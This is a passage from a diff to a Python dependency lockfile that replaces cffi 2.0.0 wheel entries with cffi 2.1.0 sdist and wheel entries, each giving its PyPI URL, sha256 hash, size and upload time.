"https://files.pythonhosted.org/packages/78/2d/7fa73dfa841b5ac06c7b8855cfc18622132e365f5b81d02230333ff26e9e/cffi-2.0.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:3e17ed538242334bf70832644a32a7aae3d83b57567f9fd60a26257e992b79ba", size = 219572, upload-time = "2025-09-08T23:22:52.902Z" }, - { url = "https://files.pythonhosted.org/packages/07/e0/267e57e387b4ca276b90f0434ff88b2c2241ad72b16d31836adddfd6031b/cffi-2.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3925dd22fa2b7699ed2617149842d2e6adde22b262fcbfada50e3d195e4b3a94", size = 222963, upload-time = "2025-09-08T23:22:54.518Z" }, - { url = "https://files.pythonhosted.org/packages/b6/75/1f2747525e06f53efbd878f4d03bac5b859cbc11c633d0fb81432d98a795/cffi-2.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:2c8f814d84194c9ea681642fd164267891702542f028a15fc97d4674b6206187", size = 221361, upload-time = "2025-09-08T23:22:55.867Z" }, - { url = "https://files.pythonhosted.org/packages/7b/2b/2b6435f76bfeb6bbf055596976da087377ede68df465419d192acf00c437/cffi-2.0.0-cp312-cp312-win32.whl", hash = "sha256:da902562c3e9c550df360bfa53c035b2f241fed6d9aef119048073680ace4a18", size = 172932, upload-time = "2025-09-08T23:22:57.188Z" }, - { url = "https://files.pythonhosted.org/packages/f8/ed/13bd4418627013bec4ed6e54283b1959cf6db888048c7cf4b4c3b5b36002/cffi-2.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:da68248800ad6320861f129cd9c1bf96ca849a2771a59e0344e88681905916f5", size = 183557, upload-time = "2025-09-08T23:22:58.351Z" }, - { url = "https://files.pythonhosted.org/packages/95/31/9f7f93ad2f8eff1dbc1c3656d7ca5bfd8fb52c9d786b4dcf19b2d02217fa/cffi-2.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:4671d9dd5ec934cb9a73e7ee9676f9362aba54f7f34910956b84d727b0d73fb6", size = 177762, upload-time = "2025-09-08T23:22:59.668Z" }, - { url = "https://files.pythonhosted.org/packages/4b/8d/a0a47a0c9e413a658623d014e91e74a50cdd2c423f7ccfd44086ef767f90/cffi-2.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:00bdf7acc5f795150faa6957054fbbca2439db2f775ce831222b66f192f03beb", size = 185230, upload-time = "2025-09-08T23:23:00.879Z" }, - { url = "https://files.pythonhosted.org/packages/4a/d2/a6c0296814556c68ee32009d9c2ad4f85f2707cdecfd7727951ec228005d/cffi-2.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:45d5e886156860dc35862657e1494b9bae8dfa63bf56796f2fb56e1679fc0bca", size = 181043, upload-time = "2025-09-08T23:23:02.231Z" }, - { url = "https://files.pythonhosted.org/packages/b0/1e/d22cc63332bd59b06481ceaac49d6c507598642e2230f201649058a7e704/cffi-2.0.0-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:07b271772c100085dd28b74fa0cd81c8fb1a3ba18b21e03d7c27f3436a10606b", size = 212446, upload-time = "2025-09-08T23:23:03.472Z" }, - { url = "https://files.pythonhosted.org/packages/a9/f5/a2c23eb03b61a0b8747f211eb716446c826ad66818ddc7810cc2cc19b3f2/cffi-2.0.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d48a880098c96020b02d5a1f7d9251308510ce8858940e6fa99ece33f610838b", size = 220101, upload-time = "2025-09-08T23:23:04.792Z" }, - { url = "https://files.pythonhosted.org/packages/f2/7f/e6647792fc5850d634695bc0e6ab4111ae88e89981d35ac269956605feba/cffi-2.0.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:f93fd8e5c8c0a4aa1f424d6173f14a892044054871c771f8566e4008eaa359d2", size = 207948, upload-time = "2025-09-08T23:23:06.127Z" }, - { url = "https://files.pythonhosted.org/packages/cb/1e/a5a1bd6f1fb30f22573f76533de12a00bf274abcdc55c8edab639078abb6/cffi-2.0.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:dd4f05f54a52fb558f1ba9f528228066954fee3ebe629fc1660d874d040ae5a3", size = 206422, upload-time = "2025-09-08T23:23:07.753Z" }, - { url = "https://files.pythonhosted.org/packages/98/df/0a1755e750013a2081e863e7cd37e0cdd02664372c754e5560099eb7aa44/cffi-2.0.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c8d3b5532fc71b7a77c09192b4a5a200ea992702734a2e9279a37f2478236f26", size = 219499, upload-time = "2025-09-08T23:23:09.648Z" }, - { url = "https://files.pythonhosted.org/packages/50/e1/a969e687fcf9ea58e6e2a928ad5e2dd88cc12f6f0ab477e9971f2309b57c/cffi-2.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d9b29c1f0ae438d5ee9acb31cadee00a58c46cc9c0b2f9038c6b0b3470877a8c", size = 222928, upload-time = "2025-09-08T23:23:10.928Z" }, - { url = "https://files.pythonhosted.org/packages/36/54/0362578dd2c9e557a28ac77698ed67323ed5b9775ca9d3fe73fe191bb5d8/cffi-2.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6d50360be4546678fc1b79ffe7a66265e28667840010348dd69a314145807a1b", size = 221302, upload-time = "2025-09-08T23:23:12.42Z" }, - { url = "https://files.pythonhosted.org/packages/eb/6d/bf9bda840d5f1dfdbf0feca87fbdb64a918a69bca42cfa0ba7b137c48cb8/cffi-2.0.0-cp313-cp313-win32.whl", hash = "sha256:74a03b9698e198d47562765773b4a8309919089150a0bb17d829ad7b44b60d27", size = 172909, upload-time = "2025-09-08T23:23:14.32Z" }, - { url = "https://files.pythonhosted.org/packages/37/18/6519e1ee6f5a1e579e04b9ddb6f1676c17368a7aba48299c3759bbc3c8b3/cffi-2.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:19f705ada2530c1167abacb171925dd886168931e0a7b78f5bffcae5c6b5be75", size = 183402, upload-time = "2025-09-08T23:23:15.535Z" }, - { url = "https://files.pythonhosted.org/packages/cb/0e/02ceeec9a7d6ee63bb596121c2c8e9b3a9e150936f4fbef6ca1943e6137c/cffi-2.0.0-cp313-cp313-win_arm64.whl", hash = "sha256:256f80b80ca3853f90c21b23ee78cd008713787b1b1e93eae9f3d6a7134abd91", size = 177780, upload-time = "2025-09-08T23:23:16.761Z" }, - { url = "https://files.pythonhosted.org/packages/92/c4/3ce07396253a83250ee98564f8d7e9789fab8e58858f35d07a9a2c78de9f/cffi-2.0.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:fc33c5141b55ed366cfaad382df24fe7dcbc686de5be719b207bb248e3053dc5", size = 185320, upload-time = "2025-09-08T23:23:18.087Z" }, - { url = "https://files.pythonhosted.org/packages/59/dd/27e9fa567a23931c838c6b02d0764611c62290062a6d4e8ff7863daf9730/cffi-2.0.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c654de545946e0db659b3400168c9ad31b5d29593291482c43e3564effbcee13", size = 181487, upload-time = "2025-09-08T23:23:19.622Z" }, - { url = "https://files.pythonhosted.org/packages/d6/43/0e822876f87ea8a4ef95442c3d766a06a51fc5298823f884ef87aaad168c/cffi-2.0.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:24b6f81f1983e6df8db3adc38562c83f7d4a0c36162885ec7f7b77c7dcbec97b", size = 220049, upload-time = "2025-09-08T23:23:20.853Z" }, - { url = "https://files.pythonhosted.org/packages/b4/89/76799151d9c2d2d1ead63c2429da9ea9d7aac304603de0c6e8764e6e8e70/cffi-2.0.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:12873ca6cb9b0f0d3a0da705d6086fe911591737a59f28b7936bdfed27c0d47c", size = 207793, upload-time = "2025-09-08T23:23:22.08Z" }, - { url = "https://files.pythonhosted.org/packages/bb/dd/3465b14bb9e24ee24cb88c9e3730f6de63111fffe513492bf8c808a3547e/cffi-2.0.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:d9b97165e8aed9272a6bb17c01e3cc5871a594a446ebedc996e2397a1c1ea8ef", size = 206300, upload-time = "2025-09-08T23:23:23.314Z" }, - { url = "https://files.pythonhosted.org/packages/47/d9/d83e293854571c877a92da46fdec39158f8d7e68da75bf73581225d28e90/cffi-2.0.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:afb8db5439b81cf9c9d0c80404b60c3cc9c3add93e114dcae767f1477cb53775", size = 219244, upload-time = "2025-09-08T23:23:24.541Z" }, - { url = "https://files.pythonhosted.org/packages/2b/0f/1f177e3683aead2bb00f7679a16451d302c436b5cbf2505f0ea8146ef59e/cffi-2.0.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:737fe7d37e1a1bffe70bd5754ea763a62a066dc5913ca57e957824b72a85e205", size = 222828, upload-time = "2025-09-08T23:23:26.143Z" }, - { url = "https://files.pythonhosted.org/packages/c6/0f/cafacebd4b040e3119dcb32fed8bdef8dfe94da653155f9d0b9dc660166e/cffi-2.0.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:38100abb9d1b1435bc4cc340bb4489635dc2f0da7456590877030c9b3d40b0c1", size = 220926, upload-time = "2025-09-08T23:23:27.873Z" }, - { url = "https://files.pythonhosted.org/packages/3e/aa/df335faa45b395396fcbc03de2dfcab242cd61a9900e914fe682a59170b1/cffi-2.0.0-cp314-cp314-win32.whl", hash = "sha256:087067fa8953339c723661eda6b54bc98c5625757ea62e95eb4898ad5e776e9f", size = 175328, upload-time = "2025-09-08T23:23:44.61Z" }, - { url = "https://files.pythonhosted.org/packages/bb/92/882c2d30831744296ce713f0feb4c1cd30f346ef747b530b5318715cc367/cffi-2.0.0-cp314-cp314-win_amd64.whl", hash = "sha256:203a48d1fb583fc7d78a4c6655692963b860a417c0528492a6bc21f1aaefab25", size = 185650, upload-time = "2025-09-08T23:23:45.848Z" }, - { url = "https://files.pythonhosted.org/packages/9f/2c/98ece204b9d35a7366b5b2c6539c350313ca13932143e79dc133ba757104/cffi-2.0.0-cp314-cp314-win_arm64.whl", hash = "sha256:dbd5c7a25a7cb98f5ca55d258b103a2054f859a46ae11aaf23134f9cc0d356ad", size = 180687, upload-time = "2025-09-08T23:23:47.105Z" }, - { url = "https://files.pythonhosted.org/packages/3e/61/c768e4d548bfa607abcda77423448df8c471f25dbe64fb2ef6d555eae006/cffi-2.0.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:9a67fc9e8eb39039280526379fb3a70023d77caec1852002b4da7e8b270c4dd9", size = 188773, upload-time = "2025-09-08T23:23:29.347Z" }, - { url = "https://files.pythonhosted.org/packages/2c/ea/5f76bce7cf6fcd0ab1a1058b5af899bfbef198bea4d5686da88471ea0336/cffi-2.0.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7a66c7204d8869299919db4d5069a82f1561581af12b11b3c9f48c584eb8743d", size = 185013, upload-time = "2025-09-08T23:23:30.63Z" }, - { url = "https://files.pythonhosted.org/packages/be/b4/c56878d0d1755cf9caa54ba71e5d049479c52f9e4afc230f06822162ab2f/cffi-2.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7cc09976e8b56f8cebd752f7113ad07752461f48a58cbba644139015ac24954c", size = 221593, upload-time = "2025-09-08T23:23:31.91Z" }, - { url = "https://files.pythonhosted.org/packages/e0/0d/eb704606dfe8033e7128df5e90fee946bbcb64a04fcdaa97321309004000/cffi-2.0.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:92b68146a71df78564e4ef48af17551a5ddd142e5190cdf2c5624d0c3ff5b2e8", size = 209354, upload-time = "2025-09-08T23:23:33.214Z" }, - { url = "https://files.pythonhosted.org/packages/d8/19/3c435d727b368ca475fb8742ab97c9cb13a0de600ce86f62eab7fa3eea60/cffi-2.0.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:b1e74d11748e7e98e2f426ab176d4ed720a64412b6a15054378afdb71e0f37dc", size = 208480, upload-time = "2025-09-08T23:23:34.495Z" }, - { url = "https://files.pythonhosted.org/packages/d0/44/681604464ed9541673e486521497406fadcc15b5217c3e326b061696899a/cffi-2.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:28a3a209b96630bca57cce802da70c266eb08c6e97e5afd61a75611ee6c64592", size = 221584, upload-time = "2025-09-08T23:23:36.096Z" }, - { url = "https://files.pythonhosted.org/packages/25/8e/342a504ff018a2825d395d44d63a767dd8ebc927ebda557fecdaca3ac33a/cffi-2.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7553fb2090d71822f02c629afe6042c299edf91ba1bf94951165613553984512", size = 224443, upload-time = "2025-09-08T23:23:37.328Z" }, - { url = "https://files.pythonhosted.org/packages/e1/5e/b666bacbbc60fbf415ba9988324a132c9a7a0448a9a8f125074671c0f2c3/cffi-2.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:6c6c373cfc5c83a975506110d17457138c8c63016b563cc9ed6e056a82f13ce4", size = 223437, upload-time = "2025-09-08T23:23:38.945Z" }, - { url = "https://files.pythonhosted.org/packages/a0/1d/ec1a60bd1a10daa292d3cd6bb0b359a81607154fb8165f3ec95fe003b85c/cffi-2.0.0-cp314-cp314t-win32.whl", hash = "sha256:1fc9ea04857caf665289b7a75923f2c6ed559b8298a1b8c49e59f7dd95c8481e", size = 180487, upload-time = "2025-09-08T23:23:40.423Z" }, - { url = "https://files.pythonhosted.org/packages/bf/41/4c1168c74fac325c0c8156f04b6749c8b6a8f405bbf91413ba088359f60d/cffi-2.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:d68b6cef7827e8641e8ef16f4494edda8b36104d79773a334beaa1e3521430f6", size = 191726, upload-time = "2025-09-08T23:23:41.742Z" }, - { url = "https://files.pythonhosted.org/packages/ae/3a/dbeec9d1ee0844c679f6bb5d6ad4e9f198b1224f4e7a32825f47f6192b0c/cffi-2.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9", size = 184195, upload-time = "2025-09-08T23:23:43.004Z" }, +sdist = { url = "https://files.pythonhosted.org/packages/57/5f/ff100cae70ebe9d8df1c01a00e510e45d9adb5c1fdda84791b199141de97/cffi-2.1.0.tar.gz", hash = "sha256:efc1cdd798b1aaf39b4610bba7aad28c9bea9b910f25c784ccf9ec1fa719d1f9", size = 531036, upload-time = "2026-07-06T21:34:30.382Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c0/e9/6d7724983b3d5a0908dbf74f64038ade77c18646ff6636ec7894fd392ce1/cffi-2.1.0-cp310-cp310-macosx_10_15_x86_64.whl", hash = "sha256:b65f590ef2a44640f9a05dbb548a429b4ade77913ce683ac8b1480777658a6c0", size = 183837, upload-time = "2026-07-06T21:32:09.655Z" }, + { url = "https://files.pythonhosted.org/packages/69/aa/24580a278de21fd7322635556334d9b535f1cbc00b0a3919447cdf464c65/cffi-2.1.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:164bff1657b2a74f0b6d54e11c9b375bc97b931f2ca9c43fcf875838da1570dd", size = 184226, upload-time = "2026-07-06T21:32:11.196Z" }, + { url = "https://files.pythonhosted.org/packages/88/a9/02cae418ec4beb282ace11958d9d4737793439d561fadc7e6d56f2e2b354/cffi-2.1.0-cp310-cp310-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:c941bb58d5a6e1c3892d86e42927ed6c180302f07e6d395d08c416e594b98b46", size = 211107, upload-time = "2026-07-06T21:32:12.328Z" }, + { url = "https://files.pythonhosted.org/packages/3b/30/c806937ed5e4c2c7ac30d9d6b76b5dc57ff8b75d83800d9bb11a8253cf2a/cffi-2.1.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:a016194dbe13d14ee9556e734b772d8d67b947092b268d757fd4290e3ba2dfc2", size = 218733, upload-time = "2026-07-06T21:32:13.67Z" }, + { url = "https://files.pythonhosted.org/packages/f9/cf/398272b8bbfd58aa314fda5a7f1cdbb26d1d78ae324a11211521315dd1f0/cffi-2.1.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:03e9810d18c646077e501f661b682fbf5dee4676048527ca3cffe66faa9960dd", size = 205543, upload-time = "2026-07-06T21:32:15.148Z" }, + { url = "https://files.pythonhosted.org/packages/45/ca/f91641185cdd90c36d317a9dc7f85e88ef8682d8b300977baff5e23c35d8/cffi-2.1.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:19c54ac121cad98450b4896fa9a43ee0180d57bc4bc911a33db6cab1efab6cd3", size = 205460, upload-time = "2026-07-06T21:32:16.479Z" }, + { url = "https://files.pythonhosted.org/packages/38/66/04781a77b411f0bb5b234d62c1814754ab75ebe455ccff1b08e8d7aae98f/cffi-2.1.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4d433a51f1870e43a13b6732f92aaf540ff77c2015097c78556f75a2d6c030e0", size = 218760, upload-time = "2026-07-06T21:32:17.98Z" }, + { url = "https://files.pythonhosted.org/packages/d0/9a/bb1d5ed9c3fcae158e9f6391bf309c95d98c2ac37ed56573228471d0af5e/cffi-2.1.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3d7f118b5adbfdfead90c25822690b02bc8074fba949bb7858bec4ebd55adb43", size = 221230, upload-time = "2026-07-06T21:32:19.407Z" }, + { url = "https://files.pythonhosted.org/packages/41/aa/3c1409cdd26094efacd1c36c66e0a6eb9d4296e4fd4f9901b8b2042f4323/cffi-2.1.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:c5f5df567f6eb216de69be06ce55c8b714090fae02b18a3b40da8163b8c5fa9c", size = 213524, upload-time = "2026-07-06T21:32:20.828Z" }, + { url = "https://files.pythonhosted.org/packages/fa/75/74dfb7c3fc6ebbd408038476bd4c1d7e925c62614e7b9c534ecc34218288/cffi-2.1.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:11b3fb55f4f8ad92274ed26705f65d8f91457de71f5380061eb6d125a768fecd", size = 220341, upload-time = "2026-07-06T21:32:21.9Z" }, + { url = "https://files.pythonhosted.org/packages/70/b6/9003c33a3e7d2c1306f5962e646457dcfe5a8cd8fce6bbe02d7af25db783/cffi-2.1.0-cp310-cp310-win32.whl", hash = "sha256:9d72af0cf10a76a600a9690078fe31c63b9588c8e86bf9fd353f713c84b5db0f", size = 174578, upload-time = "2026-07-06T21:32:23.073Z" }, + { url = "https://files.pythonhosted.org/packages/8a/26/710688310447531c7a22f857c7f79d9855ec18b03e04494ced723fb37e2f/cffi-2.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:fb62edb5bb52cca65fab91a63afa7561607120d26090a7e8fda6fb9f064726da", size = 185071, upload-time = "2026-07-06T21:32:24.671Z" }, + { url = "https://files.pythonhosted.org/packages/d3/67/85c89a59ba36a671e79638f44d466749f08179266a57e4f2ffdf92174072/cffi-2.1.0-cp311-cp311-macosx_10_15_x86_64.whl", hash = "sha256:02cb7ff33ded4f1532476731f89ede53e2e488a8e6205515a82144246ffa7dcc", size = 183845, upload-time = "2026-07-06T21:32:26.32Z" }, + { url = "https://files.pythonhosted.org/packages/ea/dd/e3b0baa2d3d6a857ac72b7efbf18e32e487c9cdafcc13049ad765495b15e/cffi-2.1.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f5bce581e6b8c235e566a14768a943b172ada3ed73537bb0c0be1edee312d4e7", size = 184186, upload-time = "2026-07-06T21:32:28.025Z" }, + { url = "https://files.pythonhosted.org/packages/65/68/9f3ef890cf3c6ab97bd531c5677f67613d302165d16f8142b2811782a614/cffi-2.1.0-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:30b65779d598c370374fefabf138d456fd6f3216bfa7bedfab1ba82025b0cd93", size = 211892, upload-time = "2026-07-06T21:32:29.565Z" }, + { url = "https://files.pythonhosted.org/packages/22/d7/1a74539db16d8bfd839ff1515948948efbb162e574650fd3d846896eea95/cffi-2.1.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:88023dfe18799507b73f1dbb0d14326a17465de1bc9c9c7655c22845e9ddc3a2", size = 218793, upload-time = "2026-07-06T21:32:30.951Z" }, + { url = "https://files.pythonhosted.org/packages/ec/d1/9a5b7169499e8e8d8e636de70b97ac7c9447104d2ff1a2cd94790cea5162/cffi-2.1.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:0a96b74cda968eebbad56d973efe5098974f0a9fb323865bf99ea1fd24e3e64c", size = 205737, upload-time = "2026-07-06T21:32:32.216Z" }, + { url = "https://files.pythonhosted.org/packages/ba/b0/e131a9c41f10607926278453d9596163594fe1c4ebc46efe3b5e5b34eb84/cffi-2.1.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:a5781494d4d400a3f47f8f1da94b324f6e6b440a53387774002890a2a2f4b50f", size = 204909, upload-time = "2026-07-06T21:32:33.655Z" }, + { url = "https://files.pythonhosted.org/packages/fb/d2/4398416cd699b35167947c6e22aca52c47e69ad5695073c9f1f2c52e04aa/cffi-2.1.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:aa7a1b53a2a4452ada2d1b5dade9960b2522f1e61293a811a077439e39029565", size = 217883, upload-time = "2026-07-06T21:32:35.173Z" }, + { url = "https://files.pythonhosted.org/packages/a2/a5/d4fe77b589e5e82d43ebc809bf2e6474afe8e48e32ea050b9357645b6471/cffi-2.1.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:9d8272c0e483b024e1b9ad029821470ed8ec65631dbd90217469da0e7cd89f1c", size = 221251, upload-time = "2026-07-06T21:32:36.527Z" }, + { url = "https://files.pythonhosted.org/packages/22/f0/a2fc43084c0433caf7f461bccc013e28f848d04ee1c5ed7fce71423cf4d9/cffi-2.1.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:7762faa47e8ff7eb80bd261d9a7d8eea2d8baa69de5e95b70c1f338bbe712f02", size = 214250, upload-time = "2026-07-06T21:32:37.852Z" }, + { url = "https://files.pythonhosted.org/packages/04/8c/b925975448cf20634a9fbd5efceb807219db452653648d2897c0989cab2d/cffi-2.1.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:89095c1968b4ba8285840e131bf2891b09ae137fe2146905acae0354fbce1b5e", size = 219441, upload-time = "2026-07-06T21:32:39.146Z" }, + { url = "https://files.pythonhosted.org/packages/eb/da/5c4918a2d61d86fa927d716cb3d8e4626ef8dc8f605a599d32f33897f59a/cffi-2.1.0-cp311-cp311-win32.whl", hash = "sha256:64c753a0f87a256020004f37a1c8c02c480e725f910f0b2a0f3f07debd1b2479", size = 174496, upload-time = "2026-07-06T21:32:40.467Z" }, + { url = "https://files.pythonhosted.org/packages/f9/c8/6c2de1d55cf35ef8b92885d5ef280790f0fb9634d87ea1cc315176aecd61/cffi-2.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:4f26194e3d95e06501b942642855aed4f953d55e95d7d01b7c4483db3ecff458", size = 185113, upload-time = "2026-07-06T21:32:41.761Z" }, + { url = "https://files.pythonhosted.org/packages/9e/4e/e8d7cb5783f1841a3c8fb3a7735838d7484d08ec08c9f984b14cac1ac0e9/cffi-2.1.0-cp311-cp311-win_arm64.whl", hash = "sha256:35aaea0c7ee0e58a5cd8c2fd1a48fdf7ece0d2699b7ecdda08194e9ce5dd9b3d", size = 179927, upload-time = "2026-07-06T21:32:42.961Z" }, + { url = "https://files.pythonhosted.org/packages/1e/85/990925db5df586ec90beb97529c853497e7f85ba0234830447faf41c3057/cffi-2.1.0-cp312-cp312-macosx_10_15_x86_64.whl", hash = "sha256:df2b82571a1b30f58a87bf4e5a9e78d2b1eff6c6ce8fd3aa3757221f93f0863f", size = 184829, upload-time = "2026-07-06T21:32:44.324Z" }, + { url = "https://files.pythonhosted.org/packages/4b/92/e7bb136ad6b5352603732cf907ef862ca103f20f2031c1735a46300c20c9/cffi-2.1.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:78474632761faa0fb96f30b1c928c84ebcf68713cbb80d15bab09dfe61640fde", size = 184728, upload-time = "2026-07-06T21:32:45.683Z" }, + { url = "https://files.pythonhosted.org/packages/c3/c0/d1ec30ffb370f748f2fb54425972bfef9871e0132e82fb589c46b6676049/cffi-2.1.0-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:5972433ad71a9e46516584ef60a0fda12d9dc459938d1539c3ddecf9bdc1368d", size = 214815, upload-time = "2026-07-06T21:32:48.557Z" }, + { url = "https://files.pythonhosted.org/packages/1b/dc/5620cf930688be01f2d673804291de757a934c90b946dbdc3d84130c2ea4/cffi-2.1.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b6422532152adf4e59b110cb2808cee7a033800952f5c036b4af047ee43199e7", size = 222429, upload-time = "2026-07-06T21:32:49.848Z" }, + { url = "https://files.pythonhosted.org/packages/4b/a4/77b53abbf7a1e0beb9637edbef2a94d15f9c822f591e85d439ffd91519a6/cffi-2.1.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:46b1c8db8f6122420f32d02fffb924c2fe9bc772d228c7c711748fff56aabb2b", size = 210315, upload-time = "2026-07-06T21:32:51.221Z" }, + { url = "https://files.pythonhosted.org/packages/58/0c/f528df19cc94b675087324d4760d9e6d5bfae97d6217aa4fac43de4f5fcc/cffi-2.1.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:d9fafc5aa2e2a39aaf7f8cc0c1f044a9b07fca12e558dca53a3cc5c654ad67a7", size = 208859, upload-time = "2026-07-06T21:32:52.512Z" }, + { url = "https://files.pythonhosted.org/packages/62/f2/c9522a81c32132799a1972c39f5c5f8b4c8b9f00488a23feaa6c06f07741/cffi-2.1.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:1e9f50d192a3e525b15a75ab5114e442d83d657b7ec29182a991bc9a88fd3a66", size = 221844, upload-time = "2026-07-06T21:32:53.704Z" }, + { url = "https://files.pythonhosted.org/packages/6e/28/bd53988b9833e8f8ad539d26f4c07a6b3f6bcb1e9e02e7ca038250b3428d/cffi-2.1.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:98fff996e983a36d3aa2eca83af40c5821202e7e6f32d13ae94e3d2286f10cfe", size = 225287, upload-time = "2026-07-06T21:32:54.907Z" }, + { url = "https://files.pythonhosted.org/packages/79/99/0d0fd37f055224085f42bbb2c022d002e17dde4a97972822327b07d84101/cffi-2.1.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:379de10ce1ba048b1448599d1b37b24caee16309d1ac98d3982fc997f768700b", size = 223681, upload-time = "2026-07-06T21:32:56.329Z" }, + { url = "https://files.pythonhosted.org/packages/b0/80/c138990aa2a70b1a269f6e06348729836d733d6f970867943f61d367f8cc/cffi-2.1.0-cp312-cp312-win32.whl", hash = "sha256:9b8f0f26ca4e7513c534d351eca551947d053fac438f2a04ac96d882909b0d3a", size = 175269, upload-time = "2026-07-06T21:32:57.777Z" }, + { url = "https://files.pythonhosted.org/packages/a8/eb/f636456ff21a83fc13c032b58cc5dde061691546ac79efa284b2989b7982/cffi-2.1.0-cp312-cp312-win_amd64.whl", hash = "sha256:c97f080ea627e2863524c5af3836e2270b5f5dfff1f104392b959f8df0c5d384", size = 185881, upload-time = "2026-07-06T21:32:59.253Z" }, + { url = "https://files.pythonhosted.org/packages/dd/2c/400ea43e721727dca8a65c4521390e9196757caba4a45643acb2b63271b8/cffi-2.1.0-cp312-cp312-win_arm64.whl", hash = "sha256:6d194185eabd279f1c05ebe3504265ddfc5ad2b58d0714f7db9f01da592e9eb6", size = 180088, upload-time = "2026-07-06T21:33:02.278Z" }, + { url = "https://files.pythonhosted.org/packages/96/88/a996879e2eeccb815f6e3a5967b12a308257412acec882039d386bd2aa7b/cffi-2.1.0-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:10537b1df4967ca26d21e5072d7d54188354483b91dc75058968d3f0cf13fbda", size = 194331, upload-time = "2026-07-06T21:33:03.697Z" }, + { url = "https://files.pythonhosted.org/packages/58/85/7ae00d5c8dd6266f4e944c3db630f3c5c9a98b61d469c714d848b1d8138a/cffi-2.1.0-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:a95b05f9baf29b91171b3a8bd2020b028835243e7b0ff6bb23e2a3c228518b1b", size = 196966, upload-time = "2026-07-06T21:33:05.353Z" }, + { url = "https://files.pythonhosted.org/packages/8c/e9/45c3a76ad8d43ad9261f4c95436da61128d3ca545d72b9612c0ab5be0b1c/cffi-2.1.0-cp313-cp313-macosx_10_15_x86_64.whl", hash = "sha256:15faec4adfff450819f3aee0e2e02c812de6edb88203aa58807955db2003472a", size = 184795, upload-time = "2026-07-06T21:33:06.699Z" }, + { url = 